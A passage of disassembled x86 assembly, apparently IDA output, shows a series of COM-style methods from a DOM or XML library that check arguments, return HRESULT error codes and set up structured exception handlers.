		jmp	short loc_69B41647
; ---------------------------------------------------------------------------


loc_69B4160C:				; CODE XREF: sub_69B41554+90j
		push	ebx
		call	sub_69B481AF
		push	eax
		push	0C00CE208h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B41647
; ---------------------------------------------------------------------------


loc_69B41627:				; DATA XREF: .text:69B41674o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41630:				; DATA XREF: .text:69B41678o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B41647:				; CODE XREF: sub_69B41554+B6j
					; sub_69B41554+D1j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B4164B:				; CODE XREF: sub_69B41554+6Aj
		lea	eax, [ebp-40h]
		push	eax		; pvarg
		call	VariantClear
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B41668:				; CODE XREF: sub_69B41554+43j
		call	sub_69B1853C
		retn	14h
sub_69B41554	endp

; ---------------------------------------------------------------------------
dword_69B41670	dd 0FFFFFFFFh			dd offset loc_69B41627
		dd offset loc_69B41630

; =============== S U B	R O U T	I N E =======================================



sub_69B4167C	proc near		; CODE XREF: sub_69B5938E+Cp
					; DATA XREF: .text:69B12524o
		push	24h
		push	offset dword_69B41768
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B416A1
		mov	eax, 80004005h
		jmp	loc_69B4175E
; ---------------------------------------------------------------------------


loc_69B416A1:				; CODE XREF: sub_69B4167C+19j
		mov	edx, [ebp+8]
		mov	esi, [edx+1Ch]
		mov	[ebp-20h], edi
		mov	ecx, [esi+8]
		mov	eax, ecx
		shr	eax, 18h
		and	eax, 1Fh
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_69B416C2
		mov	edi, 80070057h
		jmp	short loc_69B41740
; ---------------------------------------------------------------------------


loc_69B416C2:				; CODE XREF: sub_69B4167C+3Dj
		cmp	eax, 0Fh
		jnz	short loc_69B416DD
		shr	ecx, 0Dh
		not	cl
		test	cl, 1
		jz	short loc_69B41740
		mov	ecx, [esi+0Ch]
		test	byte ptr [ecx+0ECh], 8
		jz	short loc_69B41740


loc_69B416DD:				; CODE XREF: sub_69B4167C+49j
		cmp	eax, 3
		jz	short loc_69B41740
		cmp	eax, 11h
		jz	short loc_69B41740
		push	edx
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-30h]
		call	sub_69B40E2F
		and	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	ecx, eax
		mov	[ebp-34h], ecx
		test	ecx, ecx
		jz	short loc_69B41734
		call	sub_69B48B01
		mov	[ebp-20h], eax
		jmp	short loc_69B41734
; ---------------------------------------------------------------------------


loc_69B41714:				; DATA XREF: .text:69B4176Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4171D:				; DATA XREF: .text:69B41770o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B41734:				; CODE XREF: sub_69B4167C+8Cj
					; sub_69B4167C+96j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B18EBA


loc_69B41740:				; CODE XREF: sub_69B4167C+44j
					; sub_69B4167C+53j ...
		test	edi, edi
		jl	short loc_69B41753
		mov	eax, [ebp-20h]
		test	eax, eax
		jnz	short loc_69B4174E
		xor	edi, edi
		inc	edi


loc_69B4174E:				; CODE XREF: sub_69B4167C+CDj
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax


loc_69B41753:				; CODE XREF: sub_69B4167C+C6j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B4175E:				; CODE XREF: sub_69B4167C+20j
		call	sub_69B1853C
		retn	8
sub_69B4167C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B41768	dd 0FFFFFFFFh			dd offset loc_69B41714
		dd offset loc_69B4171D

; =============== S U B	R O U T	I N E =======================================



sub_69B41774	proc near		; CODE XREF: sub_69B594F3+Cp
					; DATA XREF: .text:69B12568o
		push	28h
		push	offset dword_69B41830
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B41797
		mov	eax, 80004005h
		jmp	loc_69B41823
; ---------------------------------------------------------------------------


loc_69B41797:				; CODE XREF: sub_69B41774+17j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	ecx, [ebp+0Ch]
		test	ecx, ecx
		jnz	short loc_69B417B2
		mov	esi, 80070057h
		jmp	short loc_69B41810
; ---------------------------------------------------------------------------


loc_69B417B2:				; CODE XREF: sub_69B41774+35j
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+1Ch]
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		mov	eax, [eax+8]
		mov	edx, eax
		and	edx, 1F000000h
		cmp	edx, 0F000000h
		jnz	short loc_69B417E1
		shr	eax, 0Dh
		not	al
		test	al, 1
		jnz	short loc_69B417E1
		and	word ptr [ecx],	0
		jmp	short loc_69B417E5
; ---------------------------------------------------------------------------


loc_69B417E1:				; CODE XREF: sub_69B41774+5Cj
					; sub_69B41774+65j
		or	word ptr [ecx],	0FFFFh


loc_69B417E5:				; CODE XREF: sub_69B41774+6Bj
		xor	esi, esi
		mov	[ebp-38h], esi
		jmp	short loc_69B4180C
; ---------------------------------------------------------------------------


loc_69B417EC:				; DATA XREF: .text:69B41834o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B417F5:				; DATA XREF: .text:69B41838o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B4180C:				; CODE XREF: sub_69B41774+76j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41810:				; CODE XREF: sub_69B41774+3Cj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B41823:				; CODE XREF: sub_69B41774+1Ej
		call	sub_69B1853C
		retn	8
sub_69B41774	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B41830	dd 0FFFFFFFFh			dd offset loc_69B417EC
		dd offset loc_69B417F5

; =============== S U B	R O U T	I N E =======================================



sub_69B4183C	proc near		; CODE XREF: sub_69B593B6+Cp
					; DATA XREF: .text:69B1252Co
		push	28h
		push	offset dword_69B418F0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B4185F
		mov	eax, 80004005h
		jmp	loc_69B418E4
; ---------------------------------------------------------------------------


loc_69B4185F:				; CODE XREF: sub_69B4183C+17j
		xor	ebx, ebx
		mov	eax, [ebp+8]
		mov	esi, [eax+1Ch]
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jnz	short loc_69B41875
		mov	ebx, 80070057h
		jmp	short loc_69B418D9
; ---------------------------------------------------------------------------


loc_69B41875:				; CODE XREF: sub_69B4183C+30j
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-30h]
		push	eax
		mov	ecx, esi
		call	sub_69B49F0B
		mov	ecx, eax
		mov	[ebp-34h], ecx
		test	ecx, ecx
		jz	short loc_69B418A2
		call	sub_69B48B01
		mov	[edi], eax
		jmp	short loc_69B418CD
; ---------------------------------------------------------------------------


loc_69B418A2:				; CODE XREF: sub_69B4183C+5Bj
		and	dword ptr [edi], 0
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-38h], ebx
		jmp	short loc_69B418CD
; ---------------------------------------------------------------------------


loc_69B418AD:				; DATA XREF: .text:69B418F4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B418B6:				; DATA XREF: .text:69B418F8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B418CD:				; CODE XREF: sub_69B4183C+64j
					; sub_69B4183C+6Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA


loc_69B418D9:				; CODE XREF: sub_69B4183C+37j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B418E4:				; CODE XREF: sub_69B4183C+1Ej
		call	sub_69B1853C
		retn	8
sub_69B4183C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B418F0	dd 0FFFFFFFFh			dd offset loc_69B418AD
		dd offset loc_69B418B6

; =============== S U B	R O U T	I N E =======================================



sub_69B418FC	proc near		; CODE XREF: sub_69B593CA+Cp
					; DATA XREF: .text:69B12530o
		push	24h
		push	offset dword_69B419A8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B4191F
		mov	eax, 80004005h
		jmp	loc_69B419A0
; ---------------------------------------------------------------------------


loc_69B4191F:				; CODE XREF: sub_69B418FC+17j
		xor	ebx, ebx
		mov	eax, [ebp+8]
		mov	esi, [eax+1Ch]
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jnz	short loc_69B41935
		mov	ebx, 80070057h
		jmp	short loc_69B41995
; ---------------------------------------------------------------------------


loc_69B41935:				; CODE XREF: sub_69B418FC+30j
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		and	dword ptr [ebp-4], 0
		mov	ecx, esi
		call	sub_69B49E98
		mov	ecx, eax
		mov	[ebp-30h], ecx
		test	ecx, ecx
		jz	short loc_69B4195E
		call	sub_69B48B01
		mov	[edi], eax
		jmp	short loc_69B41989
; ---------------------------------------------------------------------------


loc_69B4195E:				; CODE XREF: sub_69B418FC+57j
		and	dword ptr [edi], 0
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-34h], ebx
		jmp	short loc_69B41989
; ---------------------------------------------------------------------------


loc_69B41969:				; DATA XREF: .text:69B419ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41972:				; DATA XREF: .text:69B419B0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B41989:				; CODE XREF: sub_69B418FC+60j
					; sub_69B418FC+6Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA


loc_69B41995:				; CODE XREF: sub_69B418FC+37j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B419A0:				; CODE XREF: sub_69B418FC+1Ej
		call	sub_69B1853C
		retn	8
sub_69B418FC	endp

; ---------------------------------------------------------------------------
dword_69B419A8	dd 0FFFFFFFFh			dd offset loc_69B41969
		dd offset loc_69B41972

; =============== S U B	R O U T	I N E =======================================



sub_69B419B4	proc near		; CODE XREF: sub_69B593DE+Cp
					; DATA XREF: .text:69B12534o
		push	2Ch
		push	offset dword_69B41A70
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B419D9
		mov	eax, 80004005h
		jmp	loc_69B41A61
; ---------------------------------------------------------------------------


loc_69B419D9:				; CODE XREF: sub_69B419B4+19j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	esi, [ebp+0Ch]
		cmp	esi, ebx
		jnz	short loc_69B419F4
		mov	ebx, 80070057h
		jmp	short loc_69B41A4E
; ---------------------------------------------------------------------------


loc_69B419F4:				; CODE XREF: sub_69B419B4+37j
		mov	[ebp-4], ebx
		mov	ecx, [edi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		mov	al, [ecx+0Bh]
		and	al, 1Fh
		cmp	al, 0Fh
		jz	short loc_69B41A20
		call	sub_69B48E02
		mov	ecx, eax
		mov	[ebp-38h], ecx
		cmp	ecx, ebx
		jz	short loc_69B41A20
		call	sub_69B48B01
		mov	[esi], eax
		jmp	short loc_69B41A4A
; ---------------------------------------------------------------------------


loc_69B41A20:				; CODE XREF: sub_69B419B4+53j
					; sub_69B419B4+61j
		mov	[esi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B41A4A
; ---------------------------------------------------------------------------


loc_69B41A2A:				; DATA XREF: .text:69B41A74o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41A33:				; DATA XREF: .text:69B41A78o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B41A4A:				; CODE XREF: sub_69B419B4+6Aj
					; sub_69B419B4+74j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41A4E:				; CODE XREF: sub_69B419B4+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B41A61:				; CODE XREF: sub_69B419B4+20j
		call	sub_69B1853C
		retn	8
sub_69B419B4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B41A70	dd 0FFFFFFFFh			dd offset loc_69B41A2A
		dd offset loc_69B41A33

; =============== S U B	R O U T	I N E =======================================



sub_69B41A7C	proc near		; CODE XREF: sub_69B593F2+Cp
					; DATA XREF: .text:69B12538o
		push	2Ch
		push	offset dword_69B41B38
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B41AA1
		mov	eax, 80004005h
		jmp	loc_69B41B29
; ---------------------------------------------------------------------------


loc_69B41AA1:				; CODE XREF: sub_69B41A7C+19j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	esi, [ebp+0Ch]
		cmp	esi, ebx
		jnz	short loc_69B41ABC
		mov	ebx, 80070057h
		jmp	short loc_69B41B16
; ---------------------------------------------------------------------------


loc_69B41ABC:				; CODE XREF: sub_69B41A7C+37j
		mov	[ebp-4], ebx
		mov	ecx, [edi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		mov	al, [ecx+0Bh]
		and	al, 1Fh
		cmp	al, 0Fh
		jz	short loc_69B41AE8
		call	sub_69B48533
		mov	ecx, eax
		mov	[ebp-38h], ecx
		cmp	ecx, ebx
		jz	short loc_69B41AE8
		call	sub_69B48B01
		mov	[esi], eax
		jmp	short loc_69B41B12
; ---------------------------------------------------------------------------


loc_69B41AE8:				; CODE XREF: sub_69B41A7C+53j
					; sub_69B41A7C+61j
		mov	[esi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B41B12
; ---------------------------------------------------------------------------


loc_69B41AF2:				; DATA XREF: .text:69B41B3Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41AFB:				; DATA XREF: .text:69B41B40o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B41B12:				; CODE XREF: sub_69B41A7C+6Aj
					; sub_69B41A7C+74j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41B16:				; CODE XREF: sub_69B41A7C+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B41B29:				; CODE XREF: sub_69B41A7C+20j
		call	sub_69B1853C
		retn	8
sub_69B41A7C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B41B38	dd 0FFFFFFFFh			dd offset loc_69B41AF2
		dd offset loc_69B41AFB

; =============== S U B	R O U T	I N E =======================================



sub_69B41B44	proc near		; CODE XREF: sub_69B5948F+Cp
					; DATA XREF: .text:69B12550o
		push	20h
		push	offset dword_69B41BE0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B41B66
		mov	eax, 80004005h
		jmp	short loc_69B41BD8
; ---------------------------------------------------------------------------


loc_69B41B66:				; CODE XREF: sub_69B41B44+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	ecx, [esi+1Ch]
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B41B84
		mov	ebx, 80070057h
		jmp	short loc_69B41BC5
; ---------------------------------------------------------------------------


loc_69B41B84:				; CODE XREF: sub_69B41B44+37j
		mov	[ebp-4], ebx
		mov	eax, [ecx]
		call	dword ptr [eax+74h]
		test	al, al
		jz	short loc_69B41B96
		or	word ptr [edi],	0FFFFh
		jmp	short loc_69B41BC1
; ---------------------------------------------------------------------------


loc_69B41B96:				; CODE XREF: sub_69B41B44+4Aj
		mov	[edi], bx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-30h], ebx
		jmp	short loc_69B41BC1
; ---------------------------------------------------------------------------


loc_69B41BA1:				; DATA XREF: .text:69B41BE4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41BAA:				; DATA XREF: .text:69B41BE8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B41BC1:				; CODE XREF: sub_69B41B44+50j
					; sub_69B41B44+5Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41BC5:				; CODE XREF: sub_69B41B44+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B41BD8:				; CODE XREF: sub_69B41B44+20j
		call	sub_69B1853C
		retn	8
sub_69B41B44	endp

; ---------------------------------------------------------------------------
dword_69B41BE0	dd 0FFFFFFFFh			dd offset loc_69B41BA1
		dd offset loc_69B41BAA

; =============== S U B	R O U T	I N E =======================================



sub_69B41BEC	proc near		; CODE XREF: sub_69B59406+1Fp
					; DATA XREF: .text:69B12540o
		push	44h
		push	offset dword_69B41D70
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B41C2A
		mov	esi, [ebp+8]
		push	esi
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B41C34
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B41C2A:				; CODE XREF: sub_69B41BEC+1Bj
		mov	eax, 80004005h
		jmp	loc_69B41D66
; ---------------------------------------------------------------------------


loc_69B41C34:				; CODE XREF: sub_69B41BEC+2Dj
		mov	[ebp-34h], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-38h], esi
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B41C4E
		mov	dword ptr [ebp-3Ch], 80070057h
		jmp	loc_69B41D3C
; ---------------------------------------------------------------------------


loc_69B41C4E:				; CODE XREF: sub_69B41BEC+54j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_69B41C57
		mov	[eax], ebx


loc_69B41C57:				; CODE XREF: sub_69B41BEC+67j
		mov	[ebp-4], ebx
		lea	eax, [ebp+10h]
		push	eax
		call	sub_69B47D6F
		mov	[ebp-40h], eax
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	ebx, eax
		mov	[ebp-44h], ebx
		test	ebx, ebx
		jnz	short loc_69B41C81
		push	80070057h
		call	sub_69B2E8B8


loc_69B41C81:				; CODE XREF: sub_69B41BEC+89j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0F4h]
		mov	edi, eax
		mov	[ebp-48h], edi
		test	edi, edi
		jz	short loc_69B41CF2
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		mov	edx, [esi]
		mov	ecx, esi
		mov	[ebp-4Ch], eax
		call	dword ptr [edx+0B4h]
		mov	ecx, [ebp-4Ch]
		cmp	ecx, eax
		jz	short loc_69B41CEF
		push	14h
		call	sub_69B1D897
		mov	[ebp-50h], eax
		test	eax, eax
		jz	short loc_69B41CCD
		push	edi
		push	dword ptr [ebp-1Ch]
		mov	ecx, eax
		call	sub_69B3FBF7
		jmp	short loc_69B41CCF
; ---------------------------------------------------------------------------


loc_69B41CCD:				; CODE XREF: sub_69B41BEC+D2j
		xor	eax, eax


loc_69B41CCF:				; CODE XREF: sub_69B41BEC+DFj
		mov	[ebp-34h], eax
		mov	al, [eax+4]
		mov	[ebp-51h], al
		test	al, al
		jnz	short loc_69B41CEF
		mov	dword ptr [ebp-3Ch], 80004005h
		push	0C00CE212h
		call	sub_69B2D34C
		jmp	short loc_69B41D38
; ---------------------------------------------------------------------------


loc_69B41CEF:				; CODE XREF: sub_69B41BEC+C4j
					; sub_69B41BEC+EEj
		mov	esi, [ebp-38h]


loc_69B41CF2:				; CODE XREF: sub_69B41BEC+A6j
		push	0
		push	dword ptr [ebp-40h]
		push	ebx
		mov	ecx, esi
		call	sub_69B3D53E
		mov	ecx, [ebp+20h]
		test	ecx, ecx
		jz	short loc_69B41D11
		mov	eax, [ebp+0Ch]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B41D11:				; CODE XREF: sub_69B41BEC+118j
		and	dword ptr [ebp-3Ch], 0
		jmp	short loc_69B41D38
; ---------------------------------------------------------------------------


loc_69B41D17:				; DATA XREF: .text:69B41D74o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41D20:				; DATA XREF: .text:69B41D78o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-3Ch], eax


loc_69B41D38:				; CODE XREF: sub_69B41BEC+101j
					; sub_69B41BEC+129j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41D3C:				; CODE XREF: sub_69B41BEC+5Dj
		cmp	dword ptr [ebp-34h], 0
		jz	short loc_69B41D52
		mov	ecx, [ebp-34h]
		call	sub_69B4637D
		push	dword ptr [ebp-34h]
		call	sub_69B1B2B7


loc_69B41D52:				; CODE XREF: sub_69B41BEC+154j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B41D66:				; CODE XREF: sub_69B41BEC+43j
		call	sub_69B1853C
		retn	1Ch
sub_69B41BEC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B41D70	dd 0FFFFFFFFh			dd offset loc_69B41D17
		dd offset loc_69B41D20

; =============== S U B	R O U T	I N E =======================================



sub_69B41D7C	proc near		; CODE XREF: sub_69B5944B+10p
					; DATA XREF: .text:69B12548o
		push	34h
		push	offset dword_69B41E90
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jz	short loc_69B41DB9
		mov	esi, [ebp+8]
		push	esi
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B41DC3
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B41DB9:				; CODE XREF: sub_69B41D7C+19j
		mov	eax, 80004005h
		jmp	loc_69B41E88
; ---------------------------------------------------------------------------


loc_69B41DC3:				; CODE XREF: sub_69B41D7C+2Cj
		and	dword ptr [ebp-34h], 0
		mov	ebx, [ebp+0Ch]
		test	ebx, ebx
		jnz	short loc_69B41DDA
		mov	dword ptr [ebp-34h], 80070057h
		jmp	loc_69B41E74
; ---------------------------------------------------------------------------


loc_69B41DDA:				; CODE XREF: sub_69B41D7C+50j
		and	dword ptr [ebp-4], 0
		mov	esi, [esi+1Ch]
		mov	[ebp-38h], esi
		mov	[ebp-3Ch], esi
		push	ebx
		call	sub_69B47D5E
		mov	edi, eax
		mov	[ebp-40h], edi
		test	edi, edi
		jnz	short loc_69B41E00
		push	80070057h
		call	sub_69B2E8B8


loc_69B41E00:				; CODE XREF: sub_69B41D7C+78j
		mov	al, [edi+0Bh]
		and	al, 1Fh
		cmp	al, 0Fh
		jnz	short loc_69B41E34
		mov	eax, [esi+0Ch]
		mov	[ebp-44h], eax
		test	byte ptr [eax+0ECh], 4
		jnz	short loc_69B41E34
		push	0
		mov	ecx, edi
		call	sub_69B481AF
		push	eax
		push	0C00CE208h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B41E34:				; CODE XREF: sub_69B41D7C+8Bj
					; sub_69B41D7C+9Aj
		push	0
		push	edi
		mov	ecx, esi
		call	sub_69B3D570
		mov	eax, [ebp+10h]
		test	eax, eax
		jz	short loc_69B41E70
		mov	[eax], ebx
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		jmp	short loc_69B41E70
; ---------------------------------------------------------------------------


loc_69B41E4F:				; DATA XREF: .text:69B41E94o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B41E58:				; DATA XREF: .text:69B41E98o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B41E70:				; CODE XREF: sub_69B41D7C+C7j
					; sub_69B41D7C+D1j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41E74:				; CODE XREF: sub_69B41D7C+59j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B41E88:				; CODE XREF: sub_69B41D7C+42j
		call	sub_69B1853C
		retn	0Ch
sub_69B41D7C	endp

; ---------------------------------------------------------------------------
dword_69B41E90	dd 0FFFFFFFFh			dd offset loc_69B41E4F
		dd offset loc_69B41E58

; =============== S U B	R O U T	I N E =======================================



sub_69B41E9C	proc near		; CODE XREF: sub_69B5942F+14p
					; DATA XREF: .text:69B12544o
		push	3Ch
		push	offset dword_69B42020
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B41EDA
		mov	esi, [ebp+8]
		push	esi
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B41EE4
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B41EDA:				; CODE XREF: sub_69B41E9C+1Bj
		mov	eax, 80004005h
		jmp	loc_69B42016
; ---------------------------------------------------------------------------


loc_69B41EE4:				; CODE XREF: sub_69B41E9C+2Dj
		mov	[ebp-34h], ebx
		mov	[ebp-38h], ebx
		mov	esi, [esi+1Ch]
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B41EF7
		cmp	[ebp+10h], ebx
		jnz	short loc_69B41F03


loc_69B41EF7:				; CODE XREF: sub_69B41E9C+54j
		mov	dword ptr [ebp-38h], 80070057h
		jmp	loc_69B41FEC
; ---------------------------------------------------------------------------


loc_69B41F03:				; CODE XREF: sub_69B41E9C+59j
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	edi, eax
		mov	[ebp-3Ch], edi
		cmp	edi, ebx
		jnz	short loc_69B41F21
		push	80070057h
		call	sub_69B2E8B8


loc_69B41F21:				; CODE XREF: sub_69B41E9C+79j
		push	dword ptr [ebp+10h]
		call	sub_69B47D5E
		mov	[ebp-40h], eax
		cmp	eax, ebx
		jnz	short loc_69B41F3A
		push	80070057h
		call	sub_69B2E8B8


loc_69B41F3A:				; CODE XREF: sub_69B41E9C+92j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		mov	edi, eax
		mov	[ebp-44h], edi
		cmp	edi, ebx
		jz	short loc_69B41FA4
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		mov	ebx, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		cmp	ebx, eax
		jz	short loc_69B41FA4
		push	14h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-48h], ecx
		test	ecx, ecx
